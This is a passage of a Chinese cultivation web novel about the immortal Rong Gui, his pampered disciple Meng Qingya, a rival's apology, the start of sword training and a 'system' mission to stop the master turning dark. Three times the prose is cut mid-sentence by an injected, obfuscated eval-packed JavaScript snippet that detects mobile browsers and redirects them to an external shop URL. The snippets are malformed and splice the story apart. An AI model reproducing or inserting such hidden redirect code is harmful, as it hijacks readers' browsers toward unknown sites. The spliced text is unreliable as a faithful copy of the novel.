浅珀色的眼睛像是被什么东西蒙住了,变得幽深而晦暗,底下藏着的东西几乎要溢出来,却又被他硬生生地压了回去。 “不喝便不喝吧。”容归将药放下。 孟清涯眼神亮了几分,没想到师尊这么轻易的就答应了。 他摊开掌心,容归的视线一下子就被吸引住了。 “怎么了?”容归挑眉道。 “师尊我知道你为了哄我喝药肯定准备了蜜饯,虽然药没喝,但是蜜饯我还是要吃的。”孟清涯一副理所当然的语气。 即便现在看不到孟清涯的脸,容归也能想象出他那傲娇的小表情。 容归的大掌握住孟清涯的手。孟清涯的手生得小巧玲珑,掌心温软,指腹带着一点浅淡的薄红,看着便觉乖巧又好捏。 “你倒是得寸进尺。”容归伸出食指戳了戳孟清涯的脑袋,语气里满是无奈与宠溺。 孟清涯顺着他的动作摇头晃脑了几下,捂着头就开始撒泼:“哎呀好痛,师尊你戳痛我了,你的宝贝徒弟生气了,需要蜜饯才能哄好!” 容归失笑,从手上的储物戒指中拿出一小碟蜜饯递给孟清涯。 孟清涯高高兴兴地接过。他自小就爱吃这些甜腻的东西,幼时甚至还因此蛀过牙,虽然这种小事对于容归来说不过一个术法的事,可孟清涯疼得满地打滚的模样还是让容归升起了警惕心,从此便严格管控他吃甜食。 拿到手后孟清涯便窝在容归怀里小口小口地啃着蜜饯,腮帮子微微鼓起来像一只偷到了松果的松鼠。 他吃东西的样子向来乖巧,不急不缓,先是伸出舌尖舔一舔那层糖霜,尝到甜味了才眯起眼睛用门牙一点一点地啃下来,细嚼慢咽慢慢品味。 容归低头看着那颗毛茸茸的脑袋,没有打扰孟清涯吃东西,只是将碟子又往孟清涯手边推近了一些。 孟清涯立刻抬头看了他一眼,眼睛里亮晶晶的像是盛了两汪小小的泉眼,里面映着容归的倒影。 他嘴里还含着半块蜜饯,说话便有些含含糊糊的,声音黏糊糊地裹着一层甜意:“师尊最好了。” 容归没有应声,只是抬手准备将他嘴角沾着的一粒糖霜轻轻抹去。 指尖触到那片柔软的唇角时,孟清涯下意识地舔了一下把那粒糖霜含进唇缝里,舌尖飞快地蹭过容归的指尖。他自己倒是没什么,容归却不由得僵了僵。 恰逢此时,容归察觉到院外多了三道气息,他便压下了那股怪异的感觉,将注意力放在其他事情上。 整个寒镜山都在容归的掌控之下,他自然清楚来人是谁。 “有人来了。”容归的声音淡淡的,听不出什么情绪。 孟清涯愣了一下,顺着容归的视线往门外望去。 他修为尚浅自然感知不到院外的气息具体是谁,只是连忙把嘴里的蜜饯嚼了嚼咽下去,又从袖中摸出帕子擦了擦嘴角,理了理被自己蹭乱的头发,规规矩矩地坐好。 倒不是他有多在意来客,只是他不想在外人面前失了师尊的颜面。 不过孟清涯也不会料到,以他和容归目前的姿势,坐得再规矩也正经不到哪去。 容归倒是知道两人现在这个样子不是待客的模样,但他毫不在意,比起在乎旁人的想法,还是抱小徒弟更重要一点。 片刻之后,院外传来一道恭敬的声音:“仙尊,东脉峰主喻修谨携弟子沈惊蛰、宁尘渊前来探望孟公子。” 容归没有立刻应声,见孟清涯点了点头后他微微抬了抬下巴,殿门无风自开。 天光从门外倾泻进来,在地上铺开一片暖融融的金色。三个人影逆着光站在门槛外,为首的是东脉峰主喻修谨,他身后左侧是沈惊蛰,右侧则站着宁尘渊。 喻修谨约莫四十来岁的模样,面容端正,眉宇间带着冷峻与肃穆。 他今日穿了一件深青色的道袍,腰间悬着一柄古朴的长剑,整个人站得笔直,像是一柄尚未出鞘的利剑。 沈惊蛰跟在他身后,面容清俊温和。他的目光在殿内扫了一圈落在孟清涯身上,眼底带着显而易见的关切。 宁尘渊走在最后面。他今日没有穿那日收徒大典上的玄色劲装,换了一身更深沉的墨色长袍,衬得他的神色越发冷冽。 三人走到殿中齐齐站定。喻修谨率先拱手行礼,姿态恭敬而端正:“喻修谨携弟子见过仙尊。” 容归微微颔首,面上没有什么表情。 喻修谨将目光转向孟清涯,面色缓和了几分:“孟公子,身子可好些了?” 孟清涯眨了眨眼,乖巧地点头:“好多了,多谢峰主挂念。” 喻修谨点了点头,又转头看了宁尘渊一眼。 宁尘渊会意,往前踏了一步。他的动作有些僵硬,一步一步走到孟清涯面前然后站定。 沉默。 那一瞬间,殿内的气氛微微凝滞了一下。沈惊蛰在身后轻轻咳了一声,像是在提醒什么。喻修谨的目光落在宁尘渊背上,带着一种无声的催促。 “孟公子,咳……”宁尘渊的声音有些生硬,说话磕磕绊绊的,“那日是我不对,不该出言不逊害你晕倒。” 他说完便垂下眼睛不再看孟清涯。 孟清涯坐在容归怀里看着面前这个低着头的少年,他心里其实很清楚自己晕过去跟宁尘渊没有半点关系,是系统0621绑定时造成的冲击,可他还是不高兴。 为什么不高兴呢? 孟清涯想起那日在高台上,宁尘渊站在台下,目光越过四位峰主望向更高处的寒镜山方向,一字一句地说“晚辈想拜入的,是浮渊仙尊容归门下”。 那副模样,那副语气,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374913|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副志在必得的姿态,让孟清涯现在想起来都觉得牙根发痒。 那是他的师尊。从两岁起就是他的师尊,是他一个人的师尊。孟清涯不要什么师弟,不要什么同门,他只要师尊只看着他一个人,只宠他一个人,只有孟清涯一个徒弟。 孟清涯抿了抿唇把脸别过去,下巴搁在容归的肩窝里,只留给宁尘渊一个后脑勺。 殿内的气氛十分微妙,宁尘渊站在那里看着孟清涯的后脑勺,沉默了片刻。 再开口,宁尘渊的声音比方才平静了许多:“孟公子,我已经拜入东脉峰主门下,是东脉的弟子了。” 孟清涯的后脑勺微微动了一下。 宁尘渊继续说:“我并非有心想害你,宁某如今既已拜入东脉,便不会再有当日的心思。” 孟清涯的后脑勺又动了一下。这一次他慢慢地把脸从容归的肩窝里转出来,露出一只眼睛偷偷地看了宁尘渊一眼。 那只眼睛水润润的,长睫毛扑扇两下,带着一点小心翼翼的试探,像是在确认对方说的是不是真话。 宁尘渊正好对上了那只眼睛,愣了一下。 孟清涯似乎也发现自己偷看被抓住了,连忙把脸又埋回去整个人缩在容归怀里,像一只受了惊的蜗牛把自己缩回壳里。 可他埋得太急,鼻尖磕在容归的锁骨上疼得“嘶”了一声,眼眶立刻泛了一层薄红。 容归低头看他,眉头微微蹙起,抬手轻轻揉了揉他的鼻尖。那样子与他平日里清冷出尘的模样判若两人。 喻修谨别开了眼假装在看窗外的风景,沈惊蛰低下头盯着自己的鞋尖发呆。 “真的吗?”孟清涯闷闷的声音从容归的颈窝里传出来,带着一点鼻音,听起来可怜巴巴的。 宁尘渊回过神来,点头:“真的。” 孟清涯又沉默了一会儿,像是在思考什么。然后他慢慢地把脸从容归的颈窝里抬起来,露出一张已经多云转晴的小脸。 他的眼睛弯成两道好看的月牙,嘴角翘起来露出两排整齐的牙齿,整个人像是被太阳晒开了的花,灿烂又明媚。 “那就好,”孟清涯的声音里带着一种如释重负的轻快,“我还以为你要跟我抢师尊呢。” 宁尘渊看着孟清涯那张笑得毫无阴霾的脸,忽然觉得这人的实力虽然配不上浮渊仙尊之徒的名头,但好像也没有那么讨厌。 “不抢,”宁尘渊说,“我并无那个资格。” 孟清涯彻底高兴了。他从容归怀里坐起来一些,伸手从碟子里拈了一颗蜜饯递给宁尘渊:“那这个给你吃,很好吃的。” 宁尘渊看着那颗被递到面前的蜜饯,愣了一下。他犹豫了一瞬,伸手接过来。 “多谢。”宁尘渊说。 孟清涯弯起眼睛笑,又转头从碟子里拈了一颗递给沈惊蛰:“沈惊蛰,你也吃。” 沈惊蛰笑着接过,道了声谢。 孟清涯又拈了一颗递给喻修谨,喻修谨摆了摆手,他便也不勉强,自己把那一颗塞进嘴里,腮帮子又鼓了起来,像一只存粮食的小仓鼠。 容归看着他这副模样,无奈地叹了口气。 “我此生只收一个徒弟。” 几人的目光瞬间投过来,容归却仍然十分平静。 “喻修谨,你把这个消息放出去吧,也绝了其他人的心思。” 5. 第五章 容归说这话的时候,语气淡得像是在说今日的天气不错。他甚至没有抬眼,目光依旧落在孟清涯那鼓鼓囊囊的腮帮子上。 喻修谨的手停在半空,指尖微微蜷缩了一下。他自然知道浮渊仙尊的性子,但凡是仙尊说出口的便没有收回的道理。 他张了张嘴似乎想说些什么,可对上容归那双平静无波的眼睛,又把到了嘴边的话咽了回去,只是恭恭敬敬地拱了拱手:“是,弟子明白。” 修真界这些年虽然表面风平浪静,实则暗流涌动。之前几万年,浮渊仙尊一个人独坐寒镜山之巅深居简出,各大势力便也没有想往山上送人的心思。 可十六年前,他突然从山下捡回了孟清涯。这件事本身就仿佛是一个信号,四族三宗两朝包括他们四脉自己心思也全都活络了起来,成为浮渊仙尊弟子的好处可远远比外人想象的要多。 说到底,宁尘渊不过是其余几个势力推出来的一个靶子罢了,出身高贵又天资卓绝,这样的人不说几百上千个,但各大势力也有几十个适龄的相似天才。若是容归肯收下宁尘渊,那他岂不是也能收下其他的人? 不过这些人的算盘终究是要落空了。 喻修谨垂了垂眸,孟清涯在浮渊仙尊心中的地位比他想象的还要高,看来以后对待这位孟公子还得更加恭敬谨慎才行。 * 事情既已聊完,喻修谨便识趣地带着两位弟子离开。 临走时,宁尘渊回头看了孟清涯一眼。 孟清涯正窝在容归怀里发呆不知在想些什么,浑然不觉有人在看自己。 宁尘渊收回目光,转身离开。 出了院门,沈惊蛰走在他身侧,忽然低声说了一句:“孟公子很好,对吧?” 宁尘渊没有应声,只是微微点了点头。 沈惊蛰看了他一眼,又补了一句:“你是聪明人,很多东西应该不需要我多说。” 宁尘渊的脚步顿了一瞬,随即继续往前走。 “我知道。”我不过是家族推出来的弃子而已。 风从山间吹过来,带着不知名花的香气丝丝缕缕地缠绕在三人身周。宁尘渊走在最后面,手中还捏着那颗蜜饯,他低头看了一眼,把蜜饯放进嘴里。 很甜,甜得有些过分,就像那个人一样。 宁尘渊微微皱了一下眉头,却还是咽了下去。 * 殿内,孟清涯终于把碟子里最后一颗蜜饯啃完了,心满意足地舔了舔嘴唇,然后仰起头望着容归。 “师尊,”他的声音软绵绵的,带着吃饱喝足后的慵懒,“你说的话是真的吗?” 容归低头看着他:“可以是假的?” 孟清涯眼睛一瞪,瞬间急了:“不行不可以我不允许,必须是真的!” 他在容归的怀里拱来拱去,容归无奈地收紧了些许力道,把人安抚住。 “我何时骗过你?自然是真的。” 孟清涯得了这句话整个人都像是被泡进了蜜罐子里,甜得浑身发软,揪着容归的一缕发丝在手上把玩,嘴里嘟嘟囔囔的也不知道在说些什么。 容归由着他闹,只是手臂稳稳地环着孟清涯。待孟清涯闹够终于安静下来,容归才提起了别的事。 “水水。”容归忽然开口。 孟清涯含糊地“嗯”了一声,声音已经带上了浓浓的睡意,像是隔着一层厚厚的棉花传出来的。 “明日开始,”容归的声音不疾不徐,像是在说一件再平常不过的事情,“要好好修炼了。” 孟清涯的身子僵了一下。他像是一只原本在阳光下懒洋洋地舒展着身子的猫忽然被人捏住了后颈皮,明明眼皮已经快要阖上了,此刻却猛地睁开来,瞪得圆圆的,里面那点睡意被这句话吓得跑了个精光。 “师尊,”孟清涯的声音还带着方才的黏糊,可尾音已经翘了起来,带上了显而易见的警惕,“你说什么?” “修炼,”容归重复了一遍,语气依旧淡淡的,“明日开始。” 孟清涯的嘴巴微微张开,他眨了眨眼,又眨了眨眼,像是在确认自己没有听错,随即整张小脸都皱了起来。 “师尊,”孟清涯的声音立刻变得可怜巴巴的,像是被霜打过的茄子,“可是我刚刚才晕过去,身体还没好呢,需要好好将养几日。” 他说着还配合地咳嗽了两声,那咳嗽声又轻又软像是小猫在叫,听着不像是生病,倒像是在撒娇。 咳完之后,孟清涯又把脸埋进容归的颈窝里蹭了蹭,闷闷地说:“师尊,我好难受,头晕晕的,腿也软软的,浑身都没有力气。” 容归早有准备:“水水。” 孟清涯立刻“嗯”了一声,期待师尊能像往常一样心软。 “方才,”容归的声音不急不缓,“你说自己身体没什么大事,不用喝药。” 孟清涯的身体僵住了。 “你还吃了一碟蜜饯,”容归继续说,“若是你身体不舒服的话,可以休息,不过恐怕要继续喝药了,这次可没有蜜饯,都被你自己刚刚吃完了。” 孟清涯把脸从容归的颈窝里抬起来,他的脸上此刻已经有了一丝恼羞成怒。 “师尊你就是故意的!”孟清涯气鼓鼓地看着容归。 容归慢条斯理地理了理被孟清涯蹭得有些凌乱的衣领,丝毫不心虚:“怎么会呢?要吃蜜饯这件事可是水水你自己提出来的。” 孟清涯撇过头不再看他,心中开始纠结起来。 一边是喝那些苦的要死的药而且还没有蜜饯,一边是起早贪黑的修炼,哪一个他都不想选啊! 啊啊啊啊烦死了师尊怎么突然要他开始认真修炼啊?明明之前师尊都不太管这些事的。 “方才那碗药还温着,”容归的目光往桌案上扫了一眼,那碗深褐色的药汁还安安静静地放在那里,“你若觉得身子不适便把药喝了,修炼的事可以等你养好了再说。” 孟清涯顺着容归的目光看向那碗药,鼻子立刻皱了起来,仿佛已经闻到了那股铺天盖地的苦涩气息。他的胃里开始翻涌,舌尖上似乎又泛起了那股让他作呕的苦味。 他飞快地收回目光,拼命地摇头:“不喝不喝不喝!” “那便修炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374914|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”容归的声音依旧平静,像是在说一件不容讨价还价的事情。 孟清涯的嘴巴瘪了瘪,眼眶红红的。他看着容归眼睛里毫不掩饰的坚持,终于意识到修炼这件事好像撒娇也不管用了。 “好吧,我明日认真修炼。”孟清涯撇了撇嘴。 容归摸了摸他的脑袋:“不要想着偷懒,明日我会全程监督你。” 孟清涯:“!!!” “师尊,”孟清涯的声音闷闷的,带着一种认命般的委屈,“你是不是不爱我了?”这明显是偷懒的机会都不给我了啊。 容归低头看着他,眼睛里倒映着孟清涯那张皱成一团的小脸,没有接话。 孟清涯见这招也不管用了便彻底放弃了挣扎,把被子拉过头顶,仿佛只要看不见明天的太阳明天的修炼就不存在似的。 容归没有再说话,轻轻地把被子往下拉了拉,免得孟清涯把自己闷住了。可他的目光却在孟清涯看不见的地方一寸一寸地沉了下去。 * 容归忍不住想起那个梦。 那个梦太真实了。真实到他在惊醒的那一瞬间甚至分不清哪边是梦,哪边是现实。 在捡回孟清涯之前容归从未想过自己会收徒。他独居寒镜山数万年,深居简出与世无争,修真界的纷争也好,各大势力的明争暗斗也罢,他都冷眼旁观不放在心上,哪怕是名义上隶属于寒镜山的四脉在他眼中也和其他势力没什么区别。 直到容归捡到了孟清涯。 十六年过去了。原本体弱多病的孟清涯被他一点一点地养大,养成了如今这个会在自己怀里撒娇、会为了几颗蜜饯讨价还价的水水。 容归从来没有后悔过。可那个梦让他意识到一件事——他以为他可以护孟清涯一世周全,可这世间的事真的能如自己所愿吗? 他的修为固然高,可修真界暗流涌动,往近了说四族三宗两朝各怀心思,互相算计;往远了说,妖魔两族视他为眼中钉、肉中刺。那些藏在暗处的人虎视眈眈,孟清涯是他的徒弟,是寒镜山的小主人,是修真界无数人眼中的一个“信号”——一个浮渊仙尊不再没有软肋的信号,这个信号意味着孟清涯会成为靶子。 那些不敢对他动手的人,未必不敢对孟清涯动手。那些在他面前卑躬屈膝的人,未必不会在背后算计他的徒弟。那些觊觎寒镜山资源、觊觎他的功法、觊觎他手中权势的人,未必不会把主意打到孟清涯身上 容归的指尖微微收紧。他活了几万年,见过太多太多的“意外”。这些意外每一个看起来都像是天意,每一个都让人防不胜防。他不怕与天斗,不怕与人斗,可他不敢拿孟清涯去赌。 原本容归想着,水水不想修炼便不修炼吧,他高兴就好。他容归的徒弟不需要多强的修为,不需要多高的天赋,只要开开心心的比什么都强。 他以为这样就够了,可那个梦告诉容归,这远远不够。 这世间总有容归护不到的地方,总有容归算不到的变故,总有容归挡不住的天意。他能做的,不应该只是把孟清涯护在羽翼之下,而是让孟清涯自己长出翅膀。 6. 第六章 容归走后,孟清涯把自己裹成了一个茧。他从被子的这一头滚到那一头,又从那一头滚回这一头,上好的被面被他折腾得皱巴巴的。 安静了好一会儿,然后那团被子猛地被掀开一角,露出一张气鼓鼓的小脸。孟清涯的头发已经滚得乱七八糟了,乌黑的长发散落在枕上,发间的玉坠歪到了一边,几缕碎发黏在脸颊上衬得那张脸越发白嫩,也越发显得气呼呼的。 “哼!”孟清涯重重地哼了一声,把被子又拉上来盖住半张脸,只露出一双眼睛在外面。那双眼睛瞪得圆圆的,恶狠狠地盯着头顶的帐幔,眼底写满了委屈和不忿。 “师尊真讨厌,”孟清涯小声嘟囔着,声音闷在被子里嗡嗡的,“以前都不管我修不修炼的,现在突然就要我明天开始,还要全程监督……我又不是不修炼,就是……就是缓修、慢修、有节奏的修……” 他说着说着声音就小了下去,自己也觉得这个理由不太站得住脚。孟清涯确实不太爱修炼,自从容归不怎么管他修炼之后孟清涯便越来越懈怠。小时候还每日扎扎马步、练练吐纳,后来容归看他实在不喜欢,便也由着他去了,只把一些基础的功法和心法教给了孟清涯,让他自己看着办。 孟清涯自己看着办的结果就是——办了几天就不办了。 就在孟清涯郁闷地准备睡觉时,忽然听见识海里传来一个声音。 “宿主?” 孟清涯愣了一下,随即反应过来是那个叫系统0621的家伙。 “0621?”孟清涯在心里默念了一声,“你去哪儿了?” 系统0621的声音听起来有些疲惫:“我回了一趟快穿局。” 孟清涯眨了眨眼,手指无意识地绞着被角,有些紧张地在心里问:“快穿局就是你的门派吗?你是去想办法了吗?” “差不多吧,”系统0621应了一声,声音里带着一丝不易察觉的沮丧,“我把这边的情况和我老大1228汇报了一下。” 系统0621:“我跟1228商量了一下,觉得我们之前定的那条路还是可行的——从‘洗白反派’变成‘攻略反派’,你负责阻止你师尊黑化,我们快穿局尽可能提供一些帮助,当然这些帮助需要你做任务拿积分来换。” 孟清涯连忙问:“那我该怎么做?” “经我们快穿局检测,你师尊容归目前可能黑化值为100%,也就是他在未来的某一天一定会黑化,咱们要尽量把这个数值降为零。” 孟清涯的手指攥紧了被角,他躺在那里安安静静的,像一尊被月光浸透了的小瓷人。 “我明白了,我会努力的。”孟清涯悄悄抹了两下眼泪,声音有些哽咽。但还是强撑着让自己看起来十分平常。 其实那天0621说的很多东西孟清涯都没彻底明白,但他还是抓住了最核心的点。 师尊生病了,这个黑化就是一种病,未来病到最严重的时候师尊便会入魔伤害他自己。 生病的师尊需要照顾,现在他是这个家唯一健康的人了,必须要坚强,必须撑起寒镜山,不能轻易倒下。 * 第二日,天还没亮孟清涯就被一阵窸窸窣窣的声音吵醒了。 他迷迷糊糊地翻了个身把脸埋进枕头里,含糊地嘟囔了一声“再睡一会儿嘛”,声音黏黏糊糊的。 可那窸窣声并没有停下来,反而离他越来越近,最后一个毛茸茸的东西蹭上了孟清涯的脸颊。 “嘎嘎!水水!起床了嘎!仙尊说今天要修炼嘎!” 小粉的声音尖锐又聒噪,在孟清涯耳边炸开来。孟清涯的眉头皱了一下,又皱了一下,然后猛地睁开眼睛,对上了那双凑到眼前的黑豆一般的鹦鹉眼睛。 “小粉!”孟清涯被吓了一跳,整个人往后缩了一下,后脑勺磕在床板上,疼得他“嘶”了一声,眼眶立刻泛了一层薄红。 “嘎嘎!水水你没事吧嘎!”小粉扑棱着翅膀落在他胸口,拿小脑袋蹭他的下巴,黑豆眼睛里满是关切。 孟清涯揉了揉后脑勺,正要说话,余光忽然瞥见门口站着一个人。 晨光从门外透进来,薄薄的,淡淡的,像是被水稀释过的金色。容归就站在那片薄金色的晨光里,一身天蓝色的衣袍,乌发以白玉簪束起,整个人像是从晨雾中走出来的仙人,清冷出尘,不沾半点烟火气。 当然,前提是忽略他手中端的一碗粥。 热气从碗口袅袅地升起来,在晨光中缭绕成一片薄薄的雾。 容归的目光落在孟清涯那颗被磕到的后脑勺上,眉头微微蹙了一下,走过来把粥放在榻边的小案几上,然后拨开孟清涯后脑勺上的发丝瞧了瞧他刚刚撞到的地方。 所幸只是轻微磕碰,并无大碍。不过孟清涯被他养得娇气,一点小痛都能在容归面前揪着不放。 “师尊我的头撞疼了有点晕,刚起床就撞到了,看来这不是一个好征兆啊,今天肯定不宜修炼!”孟清涯揪着容归的袖子撒娇。 容归闭了闭眼,在心里默默告诫自己:撑住,不要在徒弟的撒娇攻势中败下阵来。 “吃饭。”容归把碗递过来。 孟清涯低头一看,是一碗温热的已经熬到浓稠开花的粥。他伸手接过碗小口小口地喝起来,粥的温度刚好一点都不烫嘴,暖融融地从喉咙一路滑到胃里,把早起的那点困倦都驱散了。 小粉蹲在孟清涯肩头歪着脑袋看他喝粥,时不时“嘎”一声,像是在催促他喝快一点。 喝完粥,孟清涯把碗递还给容归,然后仰起头露出一张被粥的热气熏得微微泛红的小脸。他的眼睛还带着初醒时的一层薄薄的水光,长睫毛上沾着一点水汽。 “师尊,”孟清涯的声音软绵绵的,“我喝完了。” 容归点了点头,将碗放在一旁的矮几上,然后站起身。 “走吧。” 孟清涯的嘴巴瘪了一下,看来卖萌也没有用,不过他还是乖乖地从被子里爬出来。 小粉从孟清涯肩头飞起来在殿内转了一圈,然后落在他发顶上,拿爪子扒拉了两下孟清涯被睡得乱七八糟的头发,像是在帮他整理。 孟清涯伸手把小粉从头顶上拿下来放在一旁的架子上,然后自己拿起梳子开始梳头发。他的头发又长又密,昨晚跟容归赌气,睡觉时没有把那些发饰摘下来,睡了一夜之后有些都和头发紧紧缠在一起。 梳子卡在发尾梳不下去他便有些着急,手上用了些力气扯得头皮生疼,眉头皱起来,嘴里“嘶嘶”地抽着气。 容归叹了口气,连忙走过来从他手里把梳子抽走。 “坐下。”容归说。 孟清涯乖乖地坐在梳妆镜前背对着容归,那双修长的手先是不急不缓地把孟清涯头上的发饰都摘下来,随机轻轻拢住他的头发,从发顶开始一缕一缕地往下梳。 容归的动作很轻很慢,梳子卡住的时候便停下来用手指把那几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374915|200047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缕缠在一起的发丝轻轻分开,再继续往下梳。 从两岁时的小揪揪到如今的如瀑长发,很长一段时间内孟清涯的头发一直都是容归梳的,只是最近几年孟清涯长大了,自己梳的次数便多了起来。 孟清涯坐在那里,感受着容归的手指穿过自己的发丝,偶尔蹭过头皮,带着微微的凉意。他整个人都放松了下来,像一只被顺毛的猫,眯着眼睛嘴角微微翘起来。 梳好头发,容归又替他将那些细碎的玉坠和银铃一一别在发间,动作娴熟而自然。银铃在晨光中发出细碎的叮铃声,清脆又好听。 “好了。”容归说。 孟清涯转过身,心中哀叹了一声快乐的时光总是短暂的,便起身跟着容归离开。 后山。 孟清涯盘腿坐在青石上,双手放在膝盖上,闭上眼睛开始打坐吐纳。 清晨的山风从林间吹过来,带着花香和草木的清气,凉丝丝的,扑在脸上让人觉得神清气爽。孟清涯的呼吸慢慢地变得均匀而绵长,胸口的起伏也越来越浅。 容归站在青石旁边,负手而立,安静地看着他。 日光从东边的山巅上一点一点地升起来,把整个后山都染上了一层暖融融的金色。花瓣上的露珠被日光照得晶莹剔透,偶尔有一滴滚落下来落在青石上,发出极细微的“啪嗒”声。 孟清涯仅仅打坐了大约一炷香的时间便开始有些坐不住了。他的眉头微微皱起来,嘴唇抿了抿,身子轻轻地晃了一下,又晃了一下,像一棵被风吹动的小树苗。他偷偷地把眼睛睁开一条缝,往容归站的方向瞄了一眼。 容归还站在那里,身姿如松,目光平静地落在孟清涯身上。 孟清涯连忙把眼睛闭上,装作什么都没有发生的样子继续打坐。 又过了一炷香的时间,孟清涯终于忍不住了。 他睁开眼睛,仰起头望着容归,露出一张写满了“我好无聊”的小脸。 “师尊,”孟清涯的声音带着显而易见的撒娇意味,“还要坐多久啊?” 容归低头看着他:“静心。” 孟清涯瘪了瘪嘴:“我很静心了,可是真的好无聊啊师尊,能不能换个别的练练?” 容归沉默了一会儿,他知道孟清涯的性子,能老老实实地坐上一炷香的时间已经是给了自己天大的面子了。再逼下去,这只小猫怕是要炸毛了。 容归想了想,开口道:“那便换个别的。” 孟清涯的眼睛瞬间亮了起来,像是被点燃的两盏小灯:“换什么?” 容归看着他,浅珀色的眼睛里似乎有什么东西在微微闪烁,然后说:“水水长大了,也可以开始学武器了。” 孟清涯歪着脑袋看着容归,一副洗耳恭听的模样。 容归的手微微一抬,手中戒指亮了一下,一道清光从储物戒指中飞出,在他手中凝成一柄长剑。 剑身修长,通体莹白,剑脊上隐隐有流云纹路,天蓝色的剑穗在晨风中轻轻飘动。 整柄剑安静地躺在容归掌中,却隐隐有一种令人心折的锋芒,像是沉睡的蛟龙,只等主人一声令下便要冲天而起。 这是容归的本命剑,霜寒。 容归握着霜寒,低头看着孟清涯,眼底带着一丝他极少流露出来的近乎期待的情绪。 “水水,”容归的声音比平日更轻了几分,像是在小心翼翼地抛出一个藏了很久的念头,“要不要跟师尊学剑?” 7. 第七章 “练剑吗……”孟清涯双手托腮看着眼前的师尊,不知道该怎么开口。 他其实对练剑的兴趣一般,但除此之外好像也没有什么特别感兴趣的武器。 容归见他有些犹豫,不动声色地继续推销:“练剑很好,师尊还可以亲自教你。” 孟清涯含含糊糊地嗯了一声,还在思索。 容归显然把这一声“嗯”理解成了别的意思。他微微点了点头,往后退了两步与孟清涯拉开了些许距离。 晨风轻轻拂过,吹动容归天蓝色的衣袍,他站在那片粉白色的花树下,像一株孤高的松。 “水水,”容归说,“你看。” 话音落下的时候,他的手已经抬了起来。霜寒带着一声清越的剑鸣冲天而起,像是一条蛰伏已久的蛟龙终于得了主人的号令,从深渊中一跃而出直上九霄。剑鸣声在山间回荡开来,惊起林间栖息的鸟雀,也惊得孟清涯下意识地眨了眨眼。 再次凝神时,容归已经开始舞剑。他的身影在晨光中舒展开来,像是一幅被缓缓铺开的水墨长卷。霜寒在容归手中化作一道流光,剑刃破开空气时带起一阵呼啸,荡气回肠。 孟清涯的呼吸停了一瞬。容归的剑法与他在书里看到的那些剑诀完全不同。书里的剑诀讲究“快、准、狠”,而容归的剑法是从容。 是一种天地之间唯我一人一剑的从容;是一种万事万物皆在掌握之中的从容;是一种让人看着看着便忘记了时间、忘记了身在何处、眼中唯余无上奥妙剑法的从容。 衣袍翻飞间如同一片被风卷起的云,那些粉白色的花瓣在剑气的作用下纷纷扬扬地升起来,在容归身周旋转、飞舞。 孟清涯看呆了。他坐在青石上,双手撑在身侧,眼睛一眨不眨地盯着那片花雨中的身影。 下一瞬,容归周身飞舞的花瓣纷纷来到孟清涯身边洋洋洒洒地落下来,像一场专门为他而来的花雨。 漫天花瓣中,容归收起剑,眉眼含笑的望向孟清涯。 “水水,好看吗?” * 孟清涯几乎忘了呼吸。他的胸腔里像是被什么东西堵住了,心跳声在耳朵里咚咚咚地响着,响得他听不见风声,听不见鸟叫,他的世界里只剩下了眼前人。 “好看……” 虽然一直都知道师尊很好看,但是这一幕的师尊还是十六年来最惊艳他的一次。 * 就在孟清涯看得入神的时候,识海里忽然响起一个声音。 “宿主。” 孟清涯被吓了一跳,整个人抖了一下差点从青石上滑下去。他手忙脚乱地稳住身形,脸上一阵红一阵白,心跳得更厉害了,这才恍然自己这么一直盯着师尊好像有些不妥。 “0621!”孟清涯在心里气鼓鼓地喊了一声,“你吓死我了!” “不好意思宿主,但是这件事等会再说,”系统0621声音里是遮盖不住的兴奋,“你师尊练完剑了!” “所以呢?” “快快快!”系统0621的声音在孟清涯识海里催促着,“你师尊练完剑肯定累了,正是个送温暖的好时机!你可以去倒杯水擦擦汗什么的啊。” 孟清涯觉得系统0621说得好像有几分道理,连忙从青石上跳下来,然后快步走到旁边的石桌上倒了一杯温水。 端着水走到容归面前的时候,容归正好抬起头。 四目相对。 孟清涯的手微微抖了一下,心跳莫名有些加快,只觉得今天的师尊好像格外吸引他的视线。杯中的水面漾开一圈小小的涟漪,他深吸了一口气,把杯子举到容归面前,仰起头露出一张因为跑得太急而微微泛红的小脸。 “师尊,你喝口水。” “好。”容归低头伸手接过杯子。 * 离得近了,容归很明显地察觉到有一阵香气从孟清涯身上飘过来。 很淡很轻,若有若无的,像是一缕捉不住的风。容归很确信这股香气并不是方才花瓣所留下的,因为它是一种不该在这个时候出现的花香——莲香。 